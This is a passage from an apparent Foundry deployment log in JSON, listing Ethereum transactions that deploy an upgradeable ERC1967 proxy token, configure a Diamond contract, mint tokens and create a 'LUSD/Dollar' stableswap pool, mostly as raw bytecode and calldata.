6129355760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b610194612942828261357e565b505061019580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156129c35750600090506003612a72565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612a17573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612a6b57600060019250925050612a72565b9150600090505b94509492505050565b6000816004811115612a8f57612a8f6136b1565b03612a975750565b6001816004811115612aab57612aab6136b1565b03612af85760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610757565b6002816004811115612b0c57612b0c6136b1565b03612b595760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610757565b6003816004811115612b6d57612b6d6136b1565b036108835760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610757565b600080612beb6120ea565b805190915015612c02578051602090910120919050565b60c9548015612c115792915050565b7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4709250505090565b600080612c446120f9565b805190915015612c5b578051602090910120919050565b60ca548015612c115792915050565b612c7381612500565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060612cdc83836040518060600160405280602781526020016136fd60279139612f40565b9392505050565b6101305460ff1615611a775760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c6520706175736564000000000000000000000000000000000000000000006064820152608401610757565b600054610100900460ff16612dda5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b609a612de6838261357e565b50609b611a77828261357e565b600054610100900460ff16612e705760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b60cb612e7c838261357e565b5060cc612e89828261357e565b5050600060c981905560ca5550565b600054610100900460ff16612f155760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b61013080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60606000808573ffffffffffffffffffffffffffffffffffffffff1685604051612f6a91906136e0565b600060405180830381855af49150503d8060008114612fa5576040519150601f19603f3d011682016040523d82523d6000602084013e612faa565b606091505b5091509150612fbb86838387612fc5565b9695505050505050565b6060831561304157825160000361303a5773ffffffffffffffffffffffffffffffffffffffff85163b61303a5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610757565b5081612251565b61225183838151156130565781518083602001fd5b8060405162461bcd60e51b815260040161075791906130de565b60005b8381101561308b578181015183820152602001613073565b50506000910152565b600081518084526130ac816020860160208601613070565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000612cdc6020830184613094565b803573ffffffffffffffffffffffffffffffffffffffff8116811461311557600080fd5b919050565b6000806040838503121561312d57600080fd5b613136836130f1565b946020939093013593505050565b60008060006060848603121561315957600080fd5b613162846130f1565b9250613170602085016130f1565b9150604084013590509250925092565b60006020828403121561319257600080fd5b612cdc826130f1565b6000602082840312156131ad57600080fd5b5035919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600067ffffffffffffffff808411156131fe576131fe6131b4565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908282118183101715613244576132446131b4565b8160405280935085815286868601111561325d57600080fd5b858560208301376000602087830101525050509392505050565b6000806040838503121561328a57600080fd5b613293836130f1565b9150602083013567ffffffffffffffff8111156132af57600080fd5b8301601f810185136132c057600080fd5b6132cf858235602084016131e3565b9150509250929050565b7fff00000000000000000000000000000000000000000000000000000000000000881681526000602060e08184015261331560e084018a613094565b8381036040850152613327818a613094565b6060850189905273ffffffffffffffffffffffffffffffffffffffff8816608086015260a0850187905284810360c0860152855180825283870192509083019060005b818110156133865783518352928401929184019160010161336a565b50909c9b505050505050505050505050565b6000602082840312156133aa57600080fd5b813567ffffffffffffffff8111156133c157600080fd5b8201601f810184136133d257600080fd5b612251848235602084016131e3565b600080600080600080600060e0888a0312156133fc57600080fd5b613405886130f1565b9650613413602089016130f1565b95506040880135945060608801359350608088013560ff8116811461343757600080fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561346757600080fd5b613470836130f1565b915061347e602084016130f1565b90509250929050565b600181811c9082168061349b57607f821691505b6020821081036121e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b80820180821115610677577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006020828403121561352057600080fd5b81518015158114612cdc57600080fd5b601f821115611a7757600081815260208120601f850160051c810160208610156135575750805b601f850160051c820191505b8181101561357657828155600101613563565b505050505050565b815167ffffffffffffffff811115613598576135986131b4565b6135ac816135a68454613487565b84613530565b602080601f8311600181146135ff57600084156135c95750858301515b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600386901b1c1916600185901b178555613576565b6000858152602081207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08616915b8281101561364c5788860151825594840194600190910190840161362d565b508582101561368857878501517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156136aa57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082516136f2818460208701613070565b919091019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220970bd42e1159915b240b28bcccb023ae91e7d46acca8554bfa2f84542540823164736f6c63430008130033", + "nonce": "0x45d", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionType": "CREATE", + "contractName": "ERC1967Proxy", + "contractAddress": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "function": null, + "arguments": ["0x7745A062C0A8aAEFAA7E7DF1e1AAbBBAfc988972", "0xc4d66de8000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa"], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x616bc", + "value": "0x0", + "input": "0x60806040526040516104ee3803806104ee833981016040819052610022916102de565b61002e82826000610035565b50506103fb565b61003e83610061565b60008251118061004b5750805b1561005c5761005a83836100a1565b505b505050565b61006a816100cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100c683836040518060600160405280602781526020016104c760279139610180565b9392505050565b6001600160a01b0381163b61013f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b6060600080856001600160a01b03168560405161019d91906103ac565b600060405180830381855af49150503d80600081146101d8576040519150601f19603f3d011682016040523d82523d6000602084013e6101dd565b606091505b5090925090506101ef868383876101f9565b9695505050505050565b60608315610268578251600003610261576001600160a01b0385163b6102615760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610136565b5081610272565b610272838361027a565b949350505050565b81511561028a5781518083602001fd5b8060405162461bcd60e51b815260040161013691906103c8565b634e487b7160e01b600052604160045260246000fd5b60005b838110156102d55781810151838201526020016102bd565b50506000910152565b600080604083850312156102f157600080fd5b82516001600160a01b038116811461030857600080fd5b60208401519092506001600160401b038082111561032557600080fd5b818501915085601f83011261033957600080fd5b81518181111561034b5761034b6102a4565b604051601f8201601f19908116603f01168101908382118183101715610373576103736102a4565b8160405282815288602084870101111561038c57600080fd5b61039d8360208301602088016102ba565b80955050505050509250929050565b600082516103be8184602087016102ba565b9190910192915050565b60208152600082518060208401526103e78160408501602087016102ba565b601f01601f19169190910160400192915050565b60be806104096000396000f3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6065565b565b600060607f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b3660008037600080366000845af43d6000803e8080156083573d6000f35b3d6000fdfea264697066735822122057026e6ac0ea6508fb970bc3e341e4a42a730a9f9143add21b32331d6561376b64736f6c63430008130033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000007745a062c0a8aaefaa7e7df1e1aabbbafc98897200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa00000000000000000000000000000000000000000000000000000000", + "nonce": "0x45e", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xed36cfc26960d8bd74f7a170b6a0d3f9178b2e762438316637abb545ff659b7c", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x115a9", + "value": "0x0", + "input": "0xf986cd57000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d103", + "nonce": "0x45f", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionType": "CALL", + "contractName": "ERC1967Proxy", + "contractAddress": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "gas": "0x1e730", + "value": "0x0", + "input": "0x40c10f19000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000054b40b1f852bda00000", + "nonce": "0x460", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xdd23c73480e78a237032683322420b848b34320b6322ae37a01e94f6d6024fa5", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x17ba7", + "value": "0x0", + "input": "0xde858d7c0000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba00000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "nonce": "0x461", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x1ba1babc2b61397f3e23f7006a6e030a0bd9293a1c34325a43f93d4529b66f61", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x17270", + "value": "0x0", + "input": "0xedc8d27d0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x462", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x8aaf682c47063531c0721ffca52534f5fbaf1e640febe3df6f65ad64683c4f84", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1965d", + "value": "0x0", + "input": "0x810601630000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "nonce": "0x463", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionType": "CALL", + "contractName": null, + "contractAddress": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "function": "deploy_plain_pool(string,string,address[],uint256,uint256,uint256,uint256,uint256,uint8[],bytes4[],address[])", + "arguments": [ + "\"LUSD/Dollar\"", + "\"LUSDDollar\"", + "[0x5f98805A4E8be255a32880FDeC7F6728C6568bA0, 0xb6919Ef2ee4aFC163BC954C5678e2BB570c2D103]", + "100", + "4000000", + "20000000000", + "2597", + "0", + "[0, 0]", + "[0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000]", + "[0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000]" + ], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "gas": "0x77a842", + "value": "0x0", + "input": "0x5bcd3d83000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000001a000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000003d090000000000000000000000000000000000000000000000000000000004a817c8000000000000000000000000000000000000000000000000000000000000000a250000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000b4c5553442f446f6c6c6172000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c555344446f6c6c61720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d103000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x464", + "chainId": "0x1" + }, + "additionalContracts": [ + { + "transactionType": "CREATE", + "address": "0xcc68509f9ca0e1ed119eac7c468ec1b1c42f384f", + "initCode": "0x615c335150346109c2576020615ddc5f395f516020602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160803950506020615dfc5f395f51600a602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160c03950506020615e9c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156100d857905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b61012001526001018181186100a9575b5050806101005250506020615ebc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f5160208160051b018083615ddc01610220395050506020615edc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561018257905b60208160051b6020860101615ddc015f395f518060081c6109c2578160051b6103600152600101818118610153575b5050806103405250506020615efc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156101f257905b60208160051b6020860101615ddc015f395f518060201b6109c2578160051b61048001526001018181186101c3575b5050806104605250506020615f1c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561026257905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b6105a00152600101818118610233575b5050806105805250506101005160208160051b015f81601f0160051c600981116109c25780156102ae57905b8060051b61010001518160051b6060016153f3015260010181811861028e575b505050506103405160208160051b015f81601f0160051c600981116109c25780156102f657905b8060051b61034001518160051b610180016153f301526001018181186102d5575b505050505f6106a0525f61557351600881116109c257801561033e57905b60028160051b6101a0016153f30151186103335760016106a05261033e565b600101818118610314575b50506106a05161569352610100516106a0526106a0516153f3526106a05180607f1c6109c257615413526102205160208160051b015f81601f0160051c600981116109c25780156103ac57905b8060051b61022001518160051b6102c0016153f3015260010181811861038b575b50505050336154335260646020615e1c5f395f51026106c0526106c051600c556106c051600d556020615e3c5f395f51600a556020615e5c5f395f51600b556020615e7c5f395f51156109c2576020615e7c5f395f5160235561f374602455426040524260605261041e6106e0610981565b6106e0516025555f6106e0525f610800525f610920525f61541351600881116109c257801561070a57905b80610a4052615413516001810380600f0b81186109c2579050610a405112156104ac57601954600781116109c257670de0b6b3a7640000604052670de0b6b3a764000060605261049a610a60610981565b610a605181601a015560018101601955505b61092051600781116109c257610a4051610580518110156109c25760051b6105a00151610a4051610460518110156109c25760051b61048001518060e01c90508060e01b818160e01c186109c2579050178160051b6109400152600181016109205250600154600781116109c2575f81600201556001810160015550601054600781116109c2575f816011015560018101601055506003610a4051610340518110156109c25760051b6103600151186106c0576106e051600781116109c257610a4051610100518110156109c25760051b610120015163313ce567610a60526020610a606004610a7c845afa6105a4573d5f5f3e3d5ffd5b60203d106109c257610a60518060081c6109c257610aa052610aa0905051604d81116109c25780600a0a90508160051b6107000152600181016106e05250610a4051610100518110156109c25760051b61012001516338d52e0f610a80526020610a806004610a9c845afa61061b573d5f5f3e3d5ffd5b60203d106109c257610a80518060a01c6109c257610ac052610ac0905051610a605261080051600781116109c257610a605163313ce567610a80526020610a806004610a9c845afa61066f573d5f5f3e3d5ffd5b60203d106109c257610a80518060081c6109c257610ac052610ac090505180601203601281116109c2579050604d81116109c25780600a0a90508160051b61082001526001810161080052506106ff565b6106e051600781116109c2575f8160051b6107000152600181016106e0525061080051600781116109c2575f8160051b61082001526001810161080052505b600101818118610449575b50506106e05160208160051b015f81601f0160051c600981116109c257801561075057905b8060051b6106e001518160051b610500016153f3015260010181811861072f575b505050506108005160208160051b015f81601f0160051c600981116109c257801561079857905b8060051b61080001518160051b610620016153f30152600101818118610777575b505050506109205160208160051b015f81601f0160051c600981116109c25780156107e057905b8060051b61092001518160051b6103e0016153f301526001018181186107bf575b505050506020608051015f81601f0160051c600281116109c257801561082257905b8060051b608001518160051b610740016153f30152600101818118610802575b505050602060c051015f81601f0160051c600281116109c257801561086357905b8060051b60c001518160051b6107a0016153f30152600101818118610843575b5050506020615b3351015f81601f0160051c600381116109c25780156108a657905b8060051b610740016153f301518160051b610a400152600101818118610885575b505050610a40805160208201209050615bd3526001430340615c135246615bf3527fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac56472610a6052615bd351610a80527f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d610aa05246610ac05230610ae052615c1351610b005260c0610a4052610a40805160208201209050615c3352335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f610a40526020610a40a36153f36109c661000039615c53610000f35b6fffffffffffffffffffffffffffffffff604051116109c2576fffffffffffffffffffffffffffffffff606051116109c25760605160801b60405117815250565b5f80fd5f3560e01c60056005600683060261522a01601b395f51600760078260ff16848460181c0260181c06028260081c61ffff1601601939505f51818160181c14600336111661004c5761294e565b8060fe16361034826001160217615226578060081c61ffff16565b60206153f360403960206040f35b602060043560206154535f395f518110156152265760051b6080016153f30160403960206040f35b600a5460405260206040f35b600b5460405260206040f35b64012a05f20060405260206040f35b600c5460405260206040f35b600d5460405260206040f35b600e5460405260206040f35b600f5460405260206040f35b600435601054811015615226576011015460405260206040f35b60235460405260206040f35b60245460405260206040f35b60255460405260206040f35b6020806040528060400160206020615b335f395f510180615b338339508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6020806040528060400160206020615b935f395f510180615b938339508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b601260405260206040f35b60208060805260066040527f76372e302e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b6004358060a01c6152265760405260266040516020525f5260405f205460605260206060f35b6004358060a01c615226576040526024358060a01c6152265760605260276040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6004358060a01c6152265760405260296040516020525f5260405f205460605260206060f35b6020615c1360403960206040f35b33611360526102ee565b6084358060a01c61522657611360525b60043580600f0b8118615226576113205260243580600f0b811861522657611340525f546002146152265760025f55602033610dc05261132051610de05261134051610e005260406044610e203761136051610e60525f610e8052610354611380614466565b61138060035f55f35b3361136052610377565b6084358060a01c61522657611360525b60043580600f0b8118615226576113205260243580600f0b811861522657611340525f546002146152265760025f5560206156935f395f5161522657602033610dc05261132051610de05261134051610e005260406044610e203761136051610e60526001610e80526103eb611380614466565b61138060035f55f35b33610a805261040e565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b018083610960375050505f546002146152265760025f55610a80511561522657610450610ac061323c565b610ac051610aa052610463610be0613055565b610be0805160208160051b0180610ac0828560045afa50505050610488610d00612d26565b610d00805160208160051b0180610be0828560045afa50505050610be05160208160051b01806103c082610be060045afa505050610ac05160208160051b01806104e082610ac060045afa505050610aa051610600526104e9610d20614714565b610d2051610d0052602854610d2052610ac05160208160051b0180610d4082610ac060045afa5050505f60206154135f395f51600881116152265780156105c857905b80610e6052610e6051610960518110156152265760051b6109800151156105b357610e6051610d40518110156152265760051b610d60018051610e6051604052610e6051610960518110156152265760051b6109800151606052336080525f60a052610599610e80612993565b610e805180820182811061522657905090508152506105bd565b610d205115615226575b60010181811861052c575b5050610be05160208160051b01806103c082610be060045afa505050610d405160208160051b01806104e082610d4060045afa505050610aa05161060052610611610e80614714565b610e8051610e6052610d0051610e60511115615226575f610e80525f610fa052610d2051156109a857606036610fc03760206153f35f395f51610d0051610e60518082018281106152265790509050046110205260403661104037600160206153f35f395f510360021b60206153f35f395f51600a540204611080525f60206154135f395f51600881116152265780156108ad57905b806110a052610e60516110a051610ac0518110156152265760051b610ae001518082028115838383041417156152265790509050610d005180156152265780820490509050610fc0525f610fe0526110a051610d40518110156152265760051b610d6001516110005261100051610fc0511161072f57610fc0516110005103610fe05261073d565b61100051610fc05103610fe0525b670de0b6b3a76400006110a051610be0518110156152265760051b610c0001516110a051610ac0518110156152265760051b610ae00151611000518082018281106152265790509050808202811583838304141715615226579050905004611040526110405160405261102051606052611080516080526107bf6110c06138c4565b6110c05161106052610e805160078111615226576402540be40061106051610fe0518082028115838383041417156152265790509050048160051b610ea0015260018101610e8052506110a0516010548110156152265760110180546402540be4006110a051610e80518110156152265760051b610ea0015164012a05f20081028164012a05f2008204186152265790500480820182811061522657905090508155506110a051610d40518110156152265760051b610d600180516110a051610e80518110156152265760051b610ea0015180820382811161522657905090508152506001018181186106a7575b5050610be05160208160051b0180604082610be060045afa505050610d405160208160051b018061016082610d4060045afa5050506108ed6111c0613188565b6111c0805160208160051b01806110a0828560045afa505050506110a05160208160051b01806040826110a060045afa505050610aa051610160526109336111c0613347565b6111c051610e6052610d0051610d2051610e6051610d00518082038281116152265790509050808202811583838304141715615226579050905004610fa0526110a05160208160051b0180610340826110a060045afa505050610aa05161046052610e605161048052610a23613ed056610a23565b610e6051610fa052610e6051604052610e60516060526109c9610fc0612952565b610fc0516022556025546040526109e1611000613984565b6110006040610fc060408360045afa505042610fe0511015610a235742610fe052610fc051604052610fe051606052610a1b611000612952565b611000516025555b602435610fa0511015610a95576014610fc0527f536c697070616765207363726577656420796f75000000000000000000000000610fe052610fc050610fc05180610fe001601f825f031636823750506308c379a0610f80526020610fa052601f19601f610fc0510116604401610f9cfd5b610d2051610fa0518082018281106152265790509050610d20526026610a80516020525f5260405f208054610fa0518082018281106152265790509050815550610d2051602855610a80515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fa051610fc0526020610fc0a3337f189c623b666b1b45b83d7178f39b8c087cb09774317ca2f53c2d3c3726f222a2608080610fc05280610fc0015f610960518083528060051b5f8260088111615226578015610b7a57905b8060051b61098001518160051b602088010152600101818118610b5c575b5050820160200191505090508101905080610fe05280610fc0015f610e80518083528060051b5f8260088111615226578015610bd057905b8060051b610ea001518160051b602088010152600101818118610bb2575b50508201602001915050905081019050610e605161100052610d205161102052610fc0a26020610fa060035f55f35b33610b0052610c19565b6064358060a01c61522657610b00525b60243580600f0b811861522657610ae0525f546002146152265760025f556004351561522657606036610b20375f610c80525f610ca0526004356103c052610ae0516103e052610c6a610cc0614a57565b610cc08051610b20526020810151610b405260408101805160208160051b0180610b60828560045afa50505050610160810151610c8052610180810151610ca05250604435610b20511015610d1e576018610cc0527f4e6f7420656e6f75676820636f696e732072656d6f7665640000000000000000610ce052610cc050610cc05180610ce001601f825f031636823750506308c379a0610c80526020610ca052601f19601f610cc0510116604401610c9cfd5b610ae0516010548110156152265760110180546402540be400610b405164012a05f20081028164012a05f20082041861522657905004808201828110615226579050905081555033604052600435606052610d77614f3d565b610ae051604052610b2051606052610b0051608052610d94612b55565b337f6f48129db1f37ccb9cc5dd7e119cb32750cabdf75b48375d730d26ce3659bbe1610ae051610cc052600435610ce052610b2051610d0052602854610d20526080610cc0a2610b605160208160051b018061034082610b6060045afa505050610c805161046052610ca05161048052610e0c613ed0565b6020610b2060035f55f35b33610a8052610e31565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b018083610960375050505f546002146152265760025f55610e6a610ac061323c565b610ac051610aa052610e7d610be0612d26565b610be0805160208160051b0180610ac0828560045afa50505050610ea2610d00613055565b610d00805160208160051b0180610be0828560045afa50505050610ac05160208160051b01806103c082610ac060045afa505050610be05160208160051b01806104e082610be060045afa505050610aa05161060052610f03610d20614714565b610d2051610d0052610be05160208160051b0180610d2082610be060045afa5050505f60206154135f395f5160088111615226578015610fdb57905b80610e4052610e4051610960518110156152265760051b610980015115610fd057610e4051610d20518110156152265760051b610d40018051610e4051610960518110156152265760051b61098001518082038281116152265790509050815250610e4051604052610e4051610960518110156152265760051b6109800151606052610a8051608052610fd0612b55565b600101818118610f3f575b5050610ac05160208160051b01806103c082610ac060045afa505050610d205160208160051b01806104e082610d2060045afa505050610aa05161060052611024610e60614714565b610e6051610e4052600160206153f35f395f510360021b60206153f35f395f51600a540204610e605260206153f35f395f51610d0051610e4051808201828110615226579050905004610e80525f610ea0525f610fc052608036610fe0375f60206154135f395f51600881116152265780156112a257905b8061106052610e405161106051610be0518110156152265760051b610c0001518082028115838383041417156152265790509050610d005180156152265780820490509050611000525f6110205261106051610d20518110156152265760051b610d400151611040526110405161100051116111245761100051611040510361102052611132565b611040516110005103611020525b670de0b6b3a764000061106051610ac0518110156152265760051b610ae0015161106051610be0518110156152265760051b610c000151611040518082018281106152265790509050808202811583838304141715615226579050905004610fe052610fe051604052610e8051606052610e60516080526111b46110806138c4565b61108051610fc052610ea05160078111615226576402540be400610fc051611020518082028115838383041417156152265790509050048160051b610ec0015260018101610ea05250611060516010548110156152265760110180546402540be40061106051610ea0518110156152265760051b610ec0015164012a05f20081028164012a05f20082041861522657905004808201828110615226579050905081555061106051610d20518110156152265760051b610d4001805161106051610ea0518110156152265760051b610ec00151808203828111615226579050905081525060010181811861109c575b5050610ac05160208160051b01806103c082610ac060045afa505050610d205160208160051b01806104e082610d2060045afa505050610aa051610600526112eb611060614714565b61106051610e4052610ac05160208160051b0180604082610ac060045afa505050610d205160208160051b018061016082610d2060045afa505050611331611060613188565b611060805160208160051b0180611180828560045afa50505050610aa0516112a052610e40516112c05261016061034061016061118060045afa50611374613ed0565b60285461106052610d0051610d0051610e40518082038281116152265790509050611060518082028115838383041417156152265790509050046001810181811061522657905061108052600261108051106152265760243561108051111561143c5760146110a0527f536c697070616765207363726577656420796f750000000000000000000000006110c0526110a0506110a051806110c001601f825f031636823750506308c379a061106052602061108052601f19601f6110a051011660440161107cfd5b336040526110805160605261144f614f3d565b337f3631c28b1f9dd213e0319fb167b554d76b6c283a41143eb400a0d1adb1af17556080806110a052806110a0015f610960518083528060051b5f82600881116152265780156114b957905b8060051b61098001518160051b60208801015260010181811861149b575b50508201602001915050905081019050806110c052806110a0015f610ea0518083528060051b5f826008811161522657801561150f57905b8060051b610ec001518160051b6020880101526001018181186114f1575b50508201602001915050905081019050610e40516110e05261106051611080518082038281116152265790509050611100526110a0a2602061108060035f55f35b336103c05260016103e052611599565b6044358060a01c615226576103c05260016103e052611599565b6044358060a01c615226576103c0526064358060011c615226576103e0525b602435600401600881351161522657803560208160051b0180836102a0375050505f546002146152265760025f5560285461040052600435156152265760206153f35f395f516102a05118615226575f610420526115f8610660613055565b610660805160208160051b0180610540828560045afa505050505f610660525f60206154135f395f516008811161522657801561176257905b80610680526104005161068051610540518110156152265760051b610560015160043580820281158383830414171561522657905090500461066052610680516102a051811015